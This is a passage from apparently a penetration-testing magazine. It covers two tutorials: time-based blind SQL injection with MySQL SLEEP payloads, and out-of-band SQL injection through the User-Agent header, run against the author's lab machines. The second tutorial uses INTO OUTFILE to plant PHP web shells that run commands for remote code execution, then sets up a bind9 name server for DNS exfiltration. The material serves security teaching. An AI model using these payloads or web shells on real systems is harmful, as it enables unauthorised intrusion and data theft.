browser would also put down %20 instead of + sign. This is the functionality of all browsers. You have probably
observed it while doing a Google search by typing some strings in the Google search bar and, as you press enter,
the URL would show %20 or a + sign at all the spaces in the string you searched for. Burp Suite is a proxy tool
that does not have this feature of automatic URL encoding, therefore, I have put a plus sign explicitly. You can
also do this in your Burp Suite by highlighting the text you need to URL encode and right click to find the option
of convert selection and change it to URL encode.

3. Most of the time, we need to comment our injection query at the end so that the database omits the last
characters/strings or things after our specified payload when it receives the query from the attacker. There are
different ways to comment in different databases. Some of them are “#”, “--[space bar]”, “--+”, “/* */”, etc. You
can check all the comment techniques in different databases in their specific documentation.

4. I agree that the word “null” in the query might be confusing for some people. It becomes confusing to
understand why we used null and what it actually is. Here, the word “null” implies “nothing”. We can understand
this better in the figure below, Fig. 9.

38
Time-based SQL Injection

Fig. 9

Fig. 9 shows the result of MySQL when such a query is written and fed to MySQL. I have used MySQL on the terminal but if
you are not familiar with MySQL commands on the terminal then you can use phpMyAdmin, sqlyog, MySQL workbench or
any other tool to run a MySQL query. There is no specific database used to run this query but a general query is written with
a condition and the result can be seen clearly, which returns NULL if the condition is false and the result came back to us
in 0.00 seconds and the result is 0 if the condition is true and the result came back to us in 10.00 seconds. The important
point to note here is not the result 0 or NULL but the fact that the result came back to us with a delay of 10 seconds when
the condition is true and the result came back to us instantly when the condition is false.

Exploitation of time-based injection

Time-based injection is time-consuming and a lot of manual effort is needed to get the result. The reason for this time
consumption and extra manual effort is that the technique relies on conditional time delay and by injecting a conditional
time delay in the query, the attacker can ask a yes/no question to the database. The server response depends on the point
that the condition is verified or not. Therefore, it depends on the attacker to guess the character or value and ask the
question to the database and the database will respond with a delay if the condition is true.

For example, the condition might say that if the third character of the database name is lowercase letter “f”, then provide
the response with a delay of 10 seconds, else, provide the response instantly.

In this situation, it will be a tedious task to get the database name, table, etc., character by character and work on building
the complete query based on the guess. One can argue that sometimes, the same kind of thing happens in blind boolean
based injection but here, in this case, there is another factor, which is time delay and this time delay can be caused
sometimes due to network latency as well.

39
Time-based SQL Injection

Let us move forward with our exploitation part and have a look at how this time-based injection takes place. First of all, we
will try to get the version of the backend MySQL.

The query used for finding the version is as follows:

?id=1' and if((select version() like "4%"),sleep(10),null) -- +

Fig. 10

In the condition section of the if statement, it is written that if the version of the database is like 4%, which means the
version starts with something like 4 and anything follows after 4, then sleep for 10 seconds, else the result is null.

It is visible in the bottom right corner of Fig. 10 that the result came back to us in 2 milliseconds. Therefore, we can say the
condition was false. Let us try again for a true condition.

40
Time-based SQL Injection

Fig 11.

The query used in Fig. 11 is as follows:

?id=1' and if((select version() like "5%"),sleep(10),null) -- +

We can see in the bottom right that the result came back to us in 10,002 milliseconds, which is 10 seconds itself. It confirms
that the database version is 5 followed by some other numbers/characters.

After iterating the whole query again and again, the result completed with the information that the database version is
5.1.41. I did not proceed further because that would take a long time.

In order to find the name of the database, we have to traverse character by character just like finding the version and it
would take a long time , therefore, for the sake of this paper, I am not putting up each and every screenshot. After the
iterations for finding the database name, which I ran again and again, it was found that the name of the database is
“security”.

It can also be confirmed with a single query.

41
Time-based SQL Injection

Fig. 12

We can see in Fig. 12 to confirm that the name of the database was security. The query used was as follows:

?id=1' and if((select database()="security"),sleep(10),null) --+

In the same fashion, we can move forward to find the table names in the database security.

Just like we executed the query for finding the name of the database, let us run the query for finding the first character of
the first table in the database. The query for finding this first character would be as follows:

?id=1' and if((select substr(table_name,1,1) from information_schema.tables where


table_schema=database() limit 0,1)='e', sleep(10), null) --+

42
Time-based SQL Injection

Fig. 13

It is visible in Fig. 13 that the result came back to us after 10 seconds, confirming the first character of the first table of
database security to be lowercase letter “e”.

By following the same approach, we found out that there are four tables, namely emails, referers, uagents, users.

We can follow the same process of creating queries and finding other table names, if they exist. Eventually, we will be able
to find out the column names and column data as well.

This process of finding characters one by one might be long but it is important to know the process. Once you know the
process and exact time for delay, you can write your own script that would take a character either in ASCII code or any
other way, fire that character value in the exact place of query, calculate the time delay and if that delay is equal to or more
than the specified delay time then that particular character exists and can be added into the word you are working upon to
find and, eventually, will complete as a word that might be a table name or column name or the column value depending
upon the query you have fired through your automated code.

Why are we not using automated tools?

There are many tools in the market that can be used for exploitation of SQL injection by automating the manual process.
Some of them are sqlmap, sqlninja, havij, and many others. I agree that they are great tools but I would like to say that
tools are a bunch of codes written for automation purposes just like the one we were discussing above to find the characters.
These tools have their place in our toolkit but there are places where either we have to guide the tools properly or the tools
don’t work at all in certain conditions, which happens 90% of the time in case of time-based SQL injection.

43
Time-based SQL Injection

Pros and Cons

One main advantage of this technique is to have little to no impact on logs, especially when compared to error-based
attacks. However, in situations where heavy queries or CPU intensive functions like MySQL's BENCHMARK() are used,
chances are good that system administrators realize something is going on.

Another thing to consider is the length of the delay you inject. This is especially important when testing Web applications.
The server load and the network speed may have a huge impact on the response time. You need to pause the
query long enough to make sure these uncertain factors do not falsify your results. On the other hand, you want the delay to
be short enough to test the application in a reasonable time. This becomes particularly difficult when no exact delay can be
injected.

Conclusion

Time-based injection is a great option when the attacker is facing an application in which a deep blind SQL injection exists.
In such situations, only delay functions/procedures can be used. In my personal experience, I have seen time-based SQLi
bypass even the stored procedure. You must be surprised at this point because stored procedure is a mitigation technique
for the vulnerability. The reason why it happens is because of the most obvious reason in the SQLi world, which is handling
the dynamic SQL. Stored procedures are used due to the benefits like wrapping up the business logic in a single entity,
strong validation, faster execution, exception handling, etc. But the question arises, are they safe against SQL injection
attacks? The answer is not always. SQL injection is possible if the dynamic SQL inside the stored procedure is not handled
properly. And frankly speaking, it usually happens as sometimes the developers forget about proper handling of the
dynamic SQL inside stored procedures.

Therefore, as a pentester it is important to learn about time-based SQL injection attacks because it is out there in the wild,
untested to the depth and can have dangerous results, if exploited. And as we know that this vulnerability is a bit difficult
for tools to take up on by themselves, it is of great importance that the vulnerability is identified manually and then either
the tools are tweaked for performance over exploiting the vulnerability or a custom code to be written for the purpose.

44
Time-based SQL Injection

References
1. Time-based SQL Injection:
[Link]
[Link]

2. Automating blind sql injection:


[Link]
pdf

3. Timing based blind sqli: [Link]

4. Testing for blind SQL injection:


[Link]

5. SQL injection attacks: [Link]

45
EXPLOITING OUT-
OF-BAND (OOB)
SQL INJECTIONS
IN HTTP
HEADERS
EDUARDO PARRA SAN JOSE
Eduardo Parra San Jose is a security consultant working on an offensive

security team. He has previously worked as a cybersecurity analyst for a

multinational telecommunications company and as an instructor in an

offensive cybersecurity specialization.

LinkedIn: [Link]

47
Exploiting Out-Of-Band (OOB) SQL injections in HTTP Headers

Introduction

SQL injections (SQLi) are still present today. Even though it is a well-known vulnerability, as we can see in the SQL
Injection Hall of Shame, there have been many successful attacks against large organizations in recent years:

Some SQL injection vulnerabilities are easy to spot but others are pretty hard to see. Furthermore, every relational database
engine has some differences with others, such as the name of the databases where the metadata is kept or the functions
available that you can use through SQL. Some database engines can grant direct access to the terminal and others just
don’t.

In some cases, SQL injection vulnerabilities can grant access not only to the information stored in the database, but to the
server itself. As SQL injection is a well-known subject, I decided to focus this article on out-of-band attacks we can test
against the MariaDB (MySQL) database engine and the infrastructure needed to execute the attacks. We will configure and
deploy an Authoritative-Only Name Server to do out-of-band DNS exfiltration and to perform out-of-band file system
exploitation to achieve remote code execution (RCE).

The idea of the article is not just making an informal introduction on how to perform out-of-band exploitation in MariaDB
(MySQL), but also raising the awareness when it comes to test any kind of injection in HTTP Headers. The SQL injection we
are going to exploit is in the User-Agent HTTP Header.

With the idea of making this tutorial accessible for most people, I have coded an application using PHP and created a
couple of virtual machines in VirtualBox for you to download, one with the latest version of Windows 10 (at the moment
2004) and the other with Ubuntu 20.04 LTS. Both virtual machines have the same web application on it. All the source
code of the application can be found in the GitHub repository created for this article. For the same reason, I have chosen
Digital Ocean as a provider because it is easy to set up and their price is low compared to its competitors. Sometimes, you
can even start your first month for free.
48
Exploiting Out-Of-Band (OOB) SQL injections in HTTP Headers

Even though out-of-band attacks can be considered to have some complexity, I’m going to do my best to make this tutorial
accessible and reproducible for everyone. Also, this tutorial is focused on the exploitation of the SQL injection. The tutorial
does not cover how to test for SQL injection.

The links to the virtual machines and the GitHub repository are:

• Github
[Link]

• Virtual Machines
[Link]

Before I begin, I would like to thank every author of the resources listed in the references section. Without their work, this
tutorial would not have been possible. Thank you so much.

In-Band vs Out-Of-Band Exploitation

With in-band, we refer to those attacks that use the same channel for injecting SQL code and for seeing the results of the
injection:

In this case, the attacker injects its own SQL code into the web application, the web application passes the modified SQL
query to the database engine, the database engine executes the SQL query and return the results of query to the web
application and then, the web application shows the results to the operator (attacker).

However, in an out-of-band attack the web application does not show the results of the modified SQL query to the operator:

In this scenario, the operator gets no feedback. Therefore, the attacker is not able to know whether the modified query was
executed successfully or not. In this case, the operator will try to use specific functions of the database engine that forces the
results of the query to be sent to an external service or to the file system:

49
Exploiting Out-Of-Band (OOB) SQL injections in HTTP Headers

This way, the attacker can get the results of the query even if the application does not send back the results.

Setting up the local environment

To follow along, let’s set up the local environment. With local I mean importing the virtual machines into VirtualBox. The
authoritative-only name server will be set later in the article. I will show how to do it on Windows but, as VirtualBox also
works in GNU/Linux, the process should be pretty much the same.

First, let’s download the virtual machines from the following Google Drive folder:

[Link]

Download the three files in there:

Once you download the files, you can use the PowerShell command (cmdlet) Get-FileHash to calculate the hash of the
downloaded files. The command goes as follows:

Get-FileHash -Algorithm <algorithmToUse> <filename>

For example, for the [Link] file we use:

50
Exploiting Out-Of-Band (OOB) SQL injections in HTTP Headers

Get-FileHash -Algorithm SHA256 .\[Link]

Once we have the hash, we can compare it with the one in the file [Link]:

If they are equal, you know that you have gotten the same file that is in Google Drive. It is a good practice to check the hash
(integrity) of the files you download. Once, we downloaded both virtual machines, let’s import them into VirtualBox. To do
so, let’s select the Import Appliance option from the File menu:

Then we click on the folder button to select one of the downloaded virtual machines from our hard drive:

51
Exploiting Out-Of-Band (OOB) SQL injections in HTTP Headers

Once we select the virtual machine to import, we click on the Open button:

52
Exploiting Out-Of-Band (OOB) SQL injections in HTTP Headers

Then click on Next:

Next click on Import:

53
Exploiting Out-Of-Band (OOB) SQL injections in HTTP Headers

VirtualBox will show you the progress:

Once it is done, you will see the imported virtual machine:

Follow the same process to import the other virtual machine. When complelte, you should have three virtual machines:

I assume you are somewhat familiar with Kali Linux, but if you do not already have it, please download it from the
Offensive Security website. The direct link of the Kali vm used in this tutorial is:

[Link]

The latest Kali version can be downloaded from:

[Link]

Before starting any of the machines, let’s first create a NatNetwork so we can deploy all virtual machines on the same
network. To do so, select Preferences from the File menu:

54
Exploiting Out-Of-Band (OOB) SQL injections in HTTP Headers

Then we select Network and click on the icon with the green plus symbol:

Then click on OK:

Next, we will configure every virtual machine to be in this network we have just created. To do so, right click on the virtual
machine and select Settings:

55
Exploiting Out-Of-Band (OOB) SQL injections in HTTP Headers

Then go to Network, change the settings Attached to and Name to select the network we created and then click OK:

Perform the same operation for the other virtual machines. At the end of this section all virtual machines must be in
NatNetwork.

Out-Of-Band File System Exploitation – RCE

Let’s start using the server file system as the out-of-band channel. In this example, what we are going to do is inject SQL
code in the User-Agent HTTP header to force the web application to send a modified SQL query to the database. The
injected code will force the database engine to write the results to a file inside the web server:

56
Exploiting Out-Of-Band (OOB) SQL injections in HTTP Headers

Then, the attacker checks whether the file has been created or not:

For the first example, let’s use the Kali Linux virtual machine as the operator machine (attacker) and the Ubuntu virtual
machine as the vulnerable web application and database engine. You can start any virtual machine by selecting clicking on
the Start button (green arrow):

Please, before running the virtual machines, check that both of them are in the same network. Once the virtual machines
are started:

57
Exploiting Out-Of-Band (OOB) SQL injections in HTTP Headers

Log into the Ubuntu machine with the credentials provided in the description section of VirtualBox:

After login, we will be able to see the IP address of our box:

If for whatever reason the IP does not show up, you can always use the IP address command to get it:

58
Exploiting Out-Of-Band (OOB) SQL injections in HTTP Headers

Once we have the IP address, let’s log into Kali using the credentials provided in the description section. For this version of
Kali, the credentials are kali/kali:

Then open the Firefox web browser and navigate to the [Link] page of the web server located in our Ubuntu machine.
In my case the address is:

[Link]

I have chosen Proc Live (Evil Corp backwards) as the company name. The SQL injection is in the User-Agent HTTP header
of this website. You may have noticed that this is an html page. But an html file does not necessarily mean it is a static
resource. You can change the settings to make the server run PHP code within HTML files. Furthermore, even though the
server running is Apache, if you press the F12 key to open the developer tools and take a look at the HTTP headers, you will
see Microsoft-IIS/10.0 as the value of the server response header:

59
Exploiting Out-Of-Band (OOB) SQL injections in HTTP Headers

What I want to point out with this is that an administrator can change any configuration value she or he wishes.

To test the SQL injection, let’s open Burp Suite in Kali Linux:

Burp Suite allows us to capture, analyze and modify HTTP traffic. It works as a proxy (middle man) that sits between our
browser (the client) and the web server. Even though some people reading the article will have some experience using Burp
Suite, let’s go step by step. After you open Burp Suite, if the following warning pops out, click the OK button:

As we are using the free version of Burp Suite, we cannot save projects or open projects. So, our only option here is to click
on the Next button:

60
Exploiting Out-Of-Band (OOB) SQL injections in HTTP Headers

Then click on the Start Burp button:

Once Burp Suite is open, click on the Proxy tab. Then click on the Options tab and under Intercept Server Responses, make
sure the following options are selected:

Then click on the Intercept tab and click the Intercept button until you see the message “Intercept is off”:

61
Exploiting Out-Of-Band (OOB) SQL injections in HTTP Headers

Now that we have Burp Suite ready, let’s configure Firefox to use Burp Suite as a proxy. To do so, let’s type
about:preferences in the navigation bar and hit the enter key:

Then type proxy in the search box and click on the Settings… button:

Then select Manual proxy configuration and set the HTTP Proxy to [Link] and the port 8080. Click on the OK button to
accept these changes:

62
Exploiting Out-Of-Band (OOB) SQL injections in HTTP Headers

Now Firefox is configured to use Burp Suite. If we visit the target website in Firefox:

and then go to Burp Suite and click on the HTTP History tab, you will be able to see that the traffic between the browser in
Kali Linux and the web server in Ubuntu, has been captured:

Let’s send the request to the repeater tool of Burp Suite. The repeater tool allows us to launch a request as many times as we
want. This is pretty useful when testing. Right click on the request and from the dropdown menu, select “Send to Repeater”:

63
Exploiting Out-Of-Band (OOB) SQL injections in HTTP Headers

Then click on the Repeater tab and click the Send button to issue the request:

As you can see at the left side, we can modify the request and at the right side we see the response. As the tutorial is just
focused on the exploitation of the SQL injection, let’s see in the source code of the application where the vulnerability lies.
As you can see in line 7, the application retrieves the user agent of the request using the $_SERVER array and then stores
its value in a variable named $useragent. Then this variable is inserted in lines 9 and 10 in a SQL string that will be used as
a SQL query:

Then in line 18, the query is executed directly against the database:

64
Exploiting Out-Of-Band (OOB) SQL injections in HTTP Headers

User input should never be trusted and should always be sanitized. In this case, whatever value we give to the user agent
HTTP header will be inserted into the following query:

SELECT * FROM viewers_user_agent WHERE useragentsha256=SHA2('$useragent',256)

For example, if we give the value cat to the user agent, the query that will be executed against the database will be:

SELECT * FROM viewers_user_agent WHERE useragentsha256=SHA2('cat',256)

One way to exploit this kind of injection is using the UNION operator. The UNION operator joins two queries that request
the same number of columns. The query of the code uses the asterisk (*) symbol to requests all columns from the table
viewers_user_agent:

SELECT * FROM viewers_user_agent WHERE useragentsha256=SHA2('$useragent',256)

If we look at the source code that creates the database, we will see the viewers_user_agent table has four columns:

Therefore, we will use the UNION operator to make a second query that requests four columns. For example:

SELECT * FROM viewers_user_agent WHERE useragentsha256=SHA2('$useragent',256)

UNION

SELECT 1, 2, 3, 4;

As the only thing we can change it the $useragent variable, we will give the following value to the $useragent variable:

',256) UNION SELECT 1,2,3,4 -- \

So, if in the query, instead of $useragent:

SELECT * FROM viewers_user_agent WHERE useragentsha256=SHA2('$useragent',256)

we use the value mentioned before, the query will look like this:

65
Exploiting Out-Of-Band (OOB) SQL injections in HTTP Headers

SELECT * FROM viewers_user_agent WHERE useragentsha256=SHA2('',256) UNION SELECT 1,2,3,4


-- \',256)

As many know from SQL, everything after a double dash will be commented out. So, this part of the query is not executed:

-- \',256)

Then the query that will be executed is:

SELECT * FROM viewers_user_agent WHERE useragentsha256=SHA2('',256) UNION SELECT 1,2,3,4

Let’s try it using Burp Suite. Delete the current value of the User-Agent HTTP header:

Paste our value. Then click the send button to issue the request:

However, we noticed nothing different in the response. We cannot see whether our SQL injection worked or not. If you
remember from the first part of the article, this is because the application does not show the results of the query to the
operator (attacker):

66
Exploiting Out-Of-Band (OOB) SQL injections in HTTP Headers

So, in this case, as we can see no results, let’s try to force the database to write the results to a file:

To be able to do this, the database’s user that the web application uses needs to have enough privileges. To force the
database to write the changes to a file, we will insert the following SQL code in the query:

INTO OUTFILE '<path/to/filename>'

If we call the file [Link], the injection will be:

',256) UNION SELECT 1,2,3,4 INTO OUTFILE '/var/www/html/[Link]' -- \

Let’s try it in the Repeater tool of Burp Suite. Paste the SQL injection as the value of the User-Agent http header and click
the Send button:

As it happened before, the web application does not show the results of the query in the response. Therefore, we cannot see
whether our SQL injection worked or not. However, this time, we can request the file we forced the database to create in the
server’s file system:

67
Exploiting Out-Of-Band (OOB) SQL injections in HTTP Headers

In this case, the filename is [Link]. If we request the file in Firefox, we will be able to see that our injection worked:

Now that we know that we can use the file system as an out-of-band channel to exfiltrate data, let’s see how we can achieve
remote code execution (RCE). So, the query that worked was:

',256) UNION SELECT 1,2,3,4 INTO OUTFILE '/var/www/html/[Link]' -- \

What if, instead of one of the numbers, we insert some PHP code as a string. For example, instead of the number 1, let’s
type:

'<?php phpinfo();?>'

Let’s also change the name of the file. Instead of [Link], for example, type [Link]. So, our query will be:

',256) UNION SELECT '<?php phpinfo();?>',2,3,4 INTO OUTFILE '/var/www/html/[Link]' -- \

Paste the SQL injection code as the value of the User-Agent HTTP header and click the Send button:

Now if you check in Firefox, you will see that the [Link] file has been created and the PHP code has been executed:

68
Exploiting Out-Of-Band (OOB) SQL injections in HTTP Headers

To execute any command we want, we can use the following PHP code:

'<?php system($_GET["execute"]);?>'

This code will take any command that we pass as the value of the execute parameter in the URL, and execute it. Instead of
[Link], let’s name the file [Link]. The query will be:

',256) UNION SELECT '<?php system($_GET["execute"]);?>',2,3,4 INTO OUTFILE


'/var/www/html/[Link]' -- \

Paste the SQL injection code as the value of the User-Agent HTTP header and click the Send button:

Now if you check in Firefox, you will see that the [Link] file has been created and that we can pass any command to the
execute parameter of the URL to execute it in the server. For example, the command whoami:

However, if you execute a command like ls -l, it will not have a nice formatted output:

To improve the output, for example, we can surround our PHP code with the pre tags of the HTML language:

69
Exploiting Out-Of-Band (OOB) SQL injections in HTTP Headers

'<pre><?php system($_GET["execute"]);?></pre>'

The pre tags of the html language will force the browser to show the text as it is. Let’s name this new file as [Link]. The
SQL query will be:

',256) UNION SELECT '<pre><?php system($_GET["execute"]);?></pre>',2,3,4 INTO OUTFILE


'/var/www/html/[Link]' -- \

Paste the SQL injection code as the value of the User-Agent HTTP header and click the Send button:

Now if instead of [Link], we use [Link], we will enjoy a nicer output:

Using the file system as an out-of-band exploitation channel is useful because, in some cases, you can achieve remote code
execution, but it definitely is not stealthy. Anyone can notice that multiple files are being created in the web application
folder. As we are going to see next, using an authoritative-only name server to exfiltrate data is stealthier than the file
system as it does not generate any files on the server.

Out-Of-Band DNS Exploitation – Infrastructure

Now let’s see how we can use DNS to exfiltrate data in web servers running under Windows. For this section, we are going
to need:

• A domain name

• A virtual private server (VPC, AWS EC2, droplet, …)

70
Exploiting Out-Of-Band (OOB) SQL injections in HTTP Headers

I walk you through the process of buying the domain name in namecheap and the VPC in Digital Ocean. I have chosen these
providers as I have a great experience working with them and they make things easy to work with. Also, as far as I know,
namecheap takes your privacy seriously, so that is a plus.

We are going to use the VPC in Digital Ocean to deploy and configure an Authoritative-Only name server. This tutorial is an
informal introduction to get you started but not a secure guide to deploy and secure an authoritative-only name server in a
VPC. The focus of the guide is to help you configure the minimum infrastructure needed to exfiltrate data using the DNS
protocol. At the end of the article, I will point you to resources that could help you dive deeper into the topic if you like.

What is an authoritative-only name server? It’s just a type of name server. Let’s do a quick informal introduction to DNS
and name servers. DNS is the protocol that translates domain names to IP addresses. This way instead of typing:

[Link]

you can type:

[Link]

The question of what IP is associated with this domain name is known as a DNS query. To do this translation, to provide an
answer to those DNS queries, you may think there should be some kind of translation dictionary or database where the
domains are associated with their corresponding IP. You are right. These databases are stored in name servers. Specifically,
in Authoritative-Only Name Servers. But what is a name server? As a web server is just any computer with a web server
program installed on it, a name server is just any computer with a DNS server program installed on it. When these
programs are running to provide a service to internet users, they are known as services in Windows and daemons in Linux
and UNIX environments. Therefore, as web servers provide answers to HTTP requests, name servers provide answers to
DNS queries. At a high level, there are basically two kinds of name servers:

• Authoritative-Only Name Servers

• Caching Name Servers also known as Resolvers

Authoritative-Only name servers are in charge of providing an official answer to a DNS query for a specific domain. In our
case, our name server will be the only one authorized to provide an official answer to a DNS query for the domain we are
about to purchase. Resolvers on the other hand, do not provide official answers, instead they cache (store) the official
responses from authoritative-only name servers. This way the next time you ask for the same domain, the resolver can
provide you the answer stored in its cache. This helps to speed up the DNS resolution process.

As a disclaimer, I will say that this is not a tutorial on how you can build a secure authoritative-only name server and
definitely should not be used as a guide to deploy an authoritative-only name server for your organization, just one to be
used in penetration testing or red teaming exercises as an out-of-band channel for data exfiltration. So, please do not use
this tutorial to deploy any authoritative-only name server for your company.

71
Exploiting Out-Of-Band (OOB) SQL injections in HTTP Headers

So, in the Digital Ocean server, we are going to install the bind9 program. Bind9 is the program that allows us to turn our
computer into an Authoritative-Only Name Server. But first, let’s get the domain name. The first step is to sign up in:

[Link]

Once you are registered, sign in with your credentials:

Select Domain Name Search from the Domain menu:

Then type the domain name you want to register and click the Search button. In my case the domain name is sqlioobdns:

The green tick mark indicates that the domain is available to purchase for 7,55 Euros. Click the Add to cart button:

72
Exploiting Out-Of-Band (OOB) SQL injections in HTTP Headers

Finally click the Checkout button to initiate the purchase process:

Click on the Confirm Order button:

Next is the billing step. Here you have to enter your payment details. After filling the forms, click on the Continue button:

73
Exploiting Out-Of-Band (OOB) SQL injections in HTTP Headers

Finally, click the Pay Now button to purchase the domain:

After paying, the order confirmation page will come out. Scroll down until you see the MANAGE button for your domain.
Click on it:

In this page, you can configure several settings for the domain name you have just purchased. One of the options is the
Name Servers to be used:

74
Exploiting Out-Of-Band (OOB) SQL injections in HTTP Headers

By default, namecheap will use their own name servers, but we are going to change this setting in a moment to use our own
virtual private server (VPC). But before changing anything, we have to deploy the VPC.

Once we have the domain name, let’s deploy and configure the server in Digital Ocean. After you sign in for an account,
click on the Create button and select Droplets:

We have to configure some options before deploying our server (droplet). First let’s select the image (OS). In this case,
chose Ubuntu 20.04 (LTS) x64:

Then select the cheapest plan ($5/month):

75
Exploiting Out-Of-Band (OOB) SQL injections in HTTP Headers

Then choose a datacenter region. In this case I go with Amsterdam:

Next, we have to configure the authentication section. We will use an SSH key to connect to our droplet (server). Click on
the New SSH Key button:

The following dialog box will open to allow us to add an SSH key:

76
Exploiting Out-Of-Band (OOB) SQL injections in HTTP Headers

Leave the dialog open and then open a terminal on Linux or PowerShell on Windows. Here we will do it on Windows
PowerShell. To generate an SSH key, we use the ssh-keygen command. As an argument to the command, we are going to
pass the algorithm we want to use to generate the keys. The algorithm we are going to use is ed25519. The command is:

ssh-keygen -t ed25519

After typing the command, it is going to ask you where you want to place your private and public keys:

I recommend not leaving the default option and give a meaningful name to the keys. To do so, enter the complete path
where you want your keys to be stored. In this case:

C:\Users\<username>/.ssh/nameofkeys

Next, we have the option to enter a passphrase (long and secure password). Even though using the SSH key without a
password is more secure than just using a password to connect to the SSH server, I recommend setting a passphrase. After
you type your passphrase twice, your private and public keys will be generated in the specified folder:

77
Exploiting Out-Of-Band (OOB) SQL injections in HTTP Headers

Go to the folder to see the generated keys:

Open the public key (the one that ends [Link]) in any text editor you like and copy the key (all the contents):

Go back to Digital Ocean and paste the public key inside the form field named SSH key content. Also give a name to the key
in the Name form field. Finally, click on the Add SSH Key button:

78
Exploiting Out-Of-Band (OOB) SQL injections in HTTP Headers

You will see that your key has been added and is selected:

Leave the rest of the options as they are and at the bottom of the page, click on the Create Droplet button:

After a few seconds, you will be able to see that your droplet has been deployed:

To connect to your droplet, copy the IP address of the droplet and use the command to log into the server. The options you
have to pass to the SSH command are:

• -i <path/to/ssh/private/key> => to indicate where is your ssh private_key

• <username>@<ip-of-droplet>

So, the command will look like this:

ssh -i .\.ssh\nsroot user@ip

The droplet is created with the root user. In my case, the command is:

79
Exploiting Out-Of-Band (OOB) SQL injections in HTTP Headers

Type yes as an answer to the question and you will be connected to your droplet:

From a security perspective, it is not recommended to use the root account and permit remote login with this account. So,
the first step will be to create another account to run the server. As this is going to be a name server, I will create a user
account named nsadmin. To do this, we use the adduser command followed by the name of the account. For example:

adduser nsadmin

Type a secure password for the user and leave empty the rest of the options. At the end, click Y to add user:

80
Exploiting Out-Of-Band (OOB) SQL injections in HTTP Headers

As we are going to use this account to install and configure Bind9 (DNS Server program), let’s add the user (nsadmin) to the
sudo group (users with root privileges). To do this, we will use the usermod command with the following options:

• -a => to add the user

• -G <group> => to indicate the group

• <username>

usermod -a -G sudo nsadmin

Using the following command, we will verify that the user nsadmin has been successfully added to the sudo group:

cat /etc/group | grep nsadmin

Next, go to the home folder of the nsadmin user (cd /home/nsadmin). Then create a directory called .ssh (mkdir .ssh)
and then change to the .ssh folder. The commands are:

Once inside the /home/admin/.ssh directory, we are going to create a file called authorized_keys. To do so, I’m going to use
the nano text editor:

nano authorized_keys

81
Exploiting Out-Of-Band (OOB) SQL injections in HTTP Headers

The nano editor will open:

Leave it open for a moment. Open a new PowerShell window to generate another ssh key pair for the nsadmin user. In this
case it will be nsadmin. The path will be the same as the last keys we created:

C:\Users\<username>/.ssh/nsadmin

Type a passphrase and the key will be generated:

Go to ssh keys folder:

Open the nsadmin public key ([Link]) with any text editor and copy the contents of the file:

82
Exploiting Out-Of-Band (OOB) SQL injections in HTTP Headers

Now go back to the nano editor and paste the public key in it:

Finally, save the changes (you can simultaneously press Ctrl+X) to close the file and save the changes in nano. Now, if we
show the contents of the authorized_keys file:

You will see the key has been saved correctly. Once you verify that the key of nsadmin is inside the authorized_keys file, log
out by issuing the exit command:

Now we can log in the server using the nsadmin user with the nsadmin key we have created. The SSH command will look
like:

ssh -i .\.ssh\nsadmin nsadmin@[Link].xx2

83
Exploiting Out-Of-Band (OOB) SQL injections in HTTP Headers

Now that we are connected as nsadmin, let’s disallow the root account to be able to SSH into the droplet. To do so, we have
to edit the /etc/ssh/sshd_config file. To edit this file, we need root privileges. So, we will use the sudo command to elevate
privileges and the nano editor to open the file:

sudo nano /etc/ssh/sshd_config

Then it will ask for the password of the user, the one we entered when we created the user. Once the file opens, look for the
line:

PermitRootLogin yes

And change it to:

PermitRootLogin no

84
Exploiting Out-Of-Band (OOB) SQL injections in HTTP Headers

Now as we did before, click Ctrl+X to exit and save the changes. Type Y to save changes:

And press the enter key to exit:

To apply these changes to the SSH server without restarting it, we can use the command:

sudo systemctl reload [Link]

Finally let’s update the software packages information with the command:

sudo apt update

And then upgrade the software packages with the command:

85
Exploiting Out-Of-Band (OOB) SQL injections in HTTP Headers

sudo apt upgrade -y

If during the upgrade you see any pop out window, hit the enter key to accept the default settings. Now we are ready to
install and configure bind9 to turn our droplet into a name server. To install bind9 we will issue the command:

sudo apt install bind9 bind9utils bind9-doc -y

After the installation, we can check that the named and the bind9 services are running using the following commands:

systemctl status named


systemctl status bind9

Now let’s start with the configuration part. I will upload all configuration files to the github repository of the article:

[Link]

86
Exploiting Out-Of-Band (OOB) SQL injections in HTTP Headers

First, we need to edit the /etc/hosts. The hosts file maps IP addresses to hostnames. It only works on the local system. We
need to add the hostname of our name server to this file.

Most of the time, a company will configure at least two authoritative-name only servers for their domain, one to answer the
DNS queries and the other to be the backup. The one that answers the DNS queries is known as the master, or the primary
DNS server, and the one that is used as backup is known as the slave or the secondary DNS server. Let’s call the primary
(master) name server ns1 and the secondary DNS server ns2. Taking into account that I have purchased the domain
[Link], the complete hostname for both of them will be:

• [Link]

• [Link]

In our case, there will not be a secondary server. So, both hostnames will point to the same IP, the IP of our droplet
(server). To edit the /etc/hosts file, you need root privileges, so run nano with sudo:

The /etc/hosts file will look like this:

We are going to add three lines after [Link] localhost:

• [Link] ns1

• [Link].2 [Link] ns1

• [Link].2 [Link] ns2

If you are following along, you have to use your IP address and instead of the [Link] domain, use the one you
purchased. Save the changes. After the changes the file will look like this:

87
Exploiting Out-Of-Band (OOB) SQL injections in HTTP Headers

Remember that all configuration files will be uploaded to the article’s github repo. This way you will be able to use them as
a guide.

Next, let’s go to the directory where bind9 configuration files lie (/etc/bind). The configuration files we have to edit are:

• [Link]

• [Link]

Why just these two files? Because if you take a look at the main configuration file ([Link]), you will notice that it
includes these two files:

88
Exploiting Out-Of-Band (OOB) SQL injections in HTTP Headers

The third file it includes are the default zones. I will explain zones just in a moment. First let’s edit these files. Let’s start
with [Link]:

When you open the file, it will look like this:

Inside options curly braces and after the option:

listen-on-v6 { any; };

let’s add the following lines:

• listen-on port 53 { any; };


To listen for any connection on port 53

• recursion no;
To disable caching. An authoritative-only name server does not cache responses, it just answers DNS queries for its
domain

• allow-transfer { none; };
Disable zone transfers. As there is no secondary or backup name server, disable zone transfers

• allow-query { any; };
Accept any DNS query that reaches our server

Save the file. After the changes, the file should look like this (I highlighted in yellow the relevant bytes):

89
Exploiting Out-Of-Band (OOB) SQL injections in HTTP Headers

Next let’s edit the [Link] configuration file:

This file contains a reference to the zones. But what are the zones? Zones are the text files used as a database for a domain.
Instead of having a database engine like MariaDB, name servers use textual databases to store the mapping between
domain names and IP addresses. You can think of zone files as the dictionary that translates hostnames into IP addresses
for a specific domain. We will create our DNS database (zone file) for the [Link] in just a moment but, for right
now, let’s focus on the [Link] file. Once you open the file, it should look like this:

Being aware that lines that start with double forward slashes (//) are comments, the file is empty. Here we need to add a
reference to where the file is of our zone (database for domain [Link]). We have not created the zone file
(database) yet, but we will in just a moment.

